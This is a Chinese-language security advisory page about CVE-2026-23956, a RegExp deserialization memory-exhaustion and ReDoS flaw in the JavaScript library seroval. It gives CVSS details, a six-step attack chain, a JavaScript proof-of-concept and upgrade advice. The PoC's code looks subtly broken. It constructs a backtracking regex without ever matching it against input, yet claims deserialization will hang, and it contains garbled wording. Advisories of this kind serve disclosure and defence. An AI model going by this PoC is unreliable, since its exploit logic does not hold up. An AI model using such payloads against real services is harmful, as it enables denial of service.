IPBUF安全漏洞报告
English
CVE-2026-23956 CVSS 7.5 高危

CVE-2026-23956 seroval RegExp序列化内存耗尽与ReDoS漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23956
漏洞类型
拒绝服务/内存耗尽
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
seroval

相关标签

拒绝服务内存耗尽ReDoS正则表达式serovalJavaScript序列化漏洞

漏洞概述

seroval是一个JavaScript库,用于实现超出标准JSON.stringify能力的JS值字符串化功能。该库支持复杂数据结构的序列化和反序列化操作。然而在0.2.0至1.4.0版本中,存在两个严重的安全问题。第一个问题是当使用极大正则表达式模式覆盖RegExp序列化时,会在反序列化过程中耗尽JavaScript运行时的内存资源,导致应用程序崩溃或服务中断。第二个问题是当正则表达式模式触发灾难性回溯(catastrophic backtracking)时,可能导致正则表达式拒绝服务攻击(ReDoS)。攻击者可以通过构造恶意输入,利用这些缺陷使目标系统出现内存耗尽或CPU占用率飙升的情况,从而实现对目标服务的拒绝服务攻击。攻击者无需任何认证权限即可发起攻击,且可以通过网络远程利用此漏洞。

技术细节

漏洞主要存在于seroval库的RegExp序列化逻辑中。当用户自定义RegExp序列化器并传入包含极大模式或灾难性回溯模式的正则表达式时,库在反序列化过程中会尝试处理这些恶意构造的数据。具体问题点在于:1) 极大模式问题:库在处理超大正则表达式时未设置合理的内存限制或模式大小检查,导致内存快速耗尽;2) ReDoS问题:当正则表达式包含嵌套量词、重叠可选分支等会导致灾难性回溯的结构时,反序列化过程中的模式验证或匹配操作会触发指数级增长的计算量。攻击者可以通过序列化包含恶意RegExp的复杂对象,并在反序列化端触发内存耗尽或CPU占用率飙升。CVSS 3.1评分7.5(高危),攻击向量为网络、无需认证和用户交互,主要影响可用性。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用seroval库进行数据序列化/反序列化
STEP 2
步骤2
攻击者构造包含恶意RegExp的序列化数据(极大模式或ReDoS模式)
STEP 3
步骤3
攻击者将恶意序列化数据发送到目标服务器或存储在目标可访问的位置
STEP 4
步骤4
目标应用使用seroval解析该数据,触发内存耗尽或灾难性回溯
STEP 5
步骤5
JavaScript运行时内存耗尽导致进程崩溃或ReDoS导致CPU占用率飙升
STEP 6
步骤6
目标服务不可用,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-23956 PoC - seroval RegExp ReDoS/Demory Exhaustion const seroval = require('seroval'); // PoC 1: RegExp with catastrophic backtracking (ReDoS) function createReDoSPattern() { // Pattern that causes catastrophic backtracking: (a+)+$ // When combined with input 'aaaaaaaaaaaaaaaaaaaaX', causes exponential matching time return new RegExp('(a+)+$'); } // PoC 2: Memory exhaustion with large pattern function createLargePattern(size) { // Generate a very large regex pattern const largePattern = '(' + 'a?'.repeat(size) + 'a' + ')'; return new RegExp(largePattern); } // Test ReDoS PoC console.log('[+] Testing ReDoS Pattern...'); const maliciousRegex = createReDoSPattern(); const serialized = seroval.serialize({ regex: maliciousRegex }); console.log('[+] Serialized payload:', serialized); // This will cause ReDoS during deserialization console.log('[+] Attempting deserialization (may hang)...'); try { seroval.parse(serialized); console.log('[+] Deserialization completed'); } catch (e) { console.log('[-] Error:', e.message); } // Test Memory Exhaustion PoC console.log('\n[+] Testing Large Pattern (Memory Exhaustion)...'); const largeRegex = createLargePattern(10000); const largePayload = seroval.serialize({ regex: largeRegex }); console.log('[+] Serialized large payload, attempting deserialization...'); try { seroval.parse(largePayload); } catch (e) { console.log('[-] Memory/Timeout Error:', e.message); } console.log('\n[!] Note: Patch to version 1.4.1 to fix this vulnerability')

影响范围

seroval >= 0.2.0 且 < 1.4.1

防御指南

临时缓解措施
立即将seroval库升级至1.4.1版本以修复此漏洞。在升级前,可通过限制反序列化输入大小、设置操作超时、监控内存使用等方式临时缓解风险。同时建议对所有用户可控的RegExp输入进行严格的模式长度和复杂度检查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表